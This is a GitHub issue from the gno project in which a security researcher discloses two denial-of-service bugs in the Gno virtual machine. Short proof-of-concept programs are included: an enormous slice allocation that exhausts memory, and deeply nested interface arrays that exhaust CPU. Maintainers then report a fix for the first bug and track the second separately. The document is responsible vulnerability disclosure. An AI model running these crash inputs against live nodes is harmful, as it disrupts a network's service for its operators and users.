gno icon indicating copy to clipboard operation
gno copied to clipboard

Two critical VM issues (denial of service attacks)

Open bbarwik opened this issue 1 year ago • 2 comments

Two critical VM issues (denial of service attacks)

Hey everyone, I am a Web3 cybersecurity researcher working for Hacken specializing in layer 1 protocols and virtual machines. I met with the Gno team during Web3 Summit in Berlin where they introduced me to your project. I promised to check it out because it sounded very interesting to me. I spent a day playing with your project and virtual machine and managed to find two ways to crash it.

Critical issues

  1. Crashing VM due to out-of-memory error by allocating a huge slice:
package main
func main() {
    buffer := make([]int, 1_000_000_000_000)
    buffer[1] = 1
}
  1. Crashing VM by creating very deep structure which is very CPU-intensive to process:
func init() {
    var x interface{}    
    for {
        x = [1]interface{}{x}    
   }
}

or alternatively:

package main
func main() {
    var x interface{}    
    for i := 0; i < 10000; i++ {
        x = [1]interface{}{x}    
    }
    for i := 0; i < 10000; i++ {
        println(x)   
    }
}

I used the following test to reproduce these issues: crash_test.go.zip. You should put it in gno.land/pkg/sdk/vm and run it there with go test -v -run TestVMCrash.

Next steps

I highly recommend introducing Fuzzing in your project and undergoing a full audit before launching your product.

Feel free to contact me here or by sending an email to [email protected] if you need any help.

bbarwik avatar Aug 28 '24 13:08 bbarwik

I'll take a stab at solving the first issue listed here

  1. Crashing VM due to out-of-memory error by allocating a huge slice:

deelawn avatar Sep 09 '24 19:09 deelawn

First issue has been fixed.

The second issue needs to be triaged to determine if it poses a critical threat for the chain at launch.

Kouteki avatar Oct 21 '24 19:10 Kouteki

Confirming the second one is still an issue, sorry for the delay, and affects actual running nodes.

I'll create a second issue for the second one so we can more appropriately track it with a proper name.

thehowl avatar Jan 09 '25 19:01 thehowl

Superseded #3471

thehowl avatar Jan 09 '25 19:01 thehowl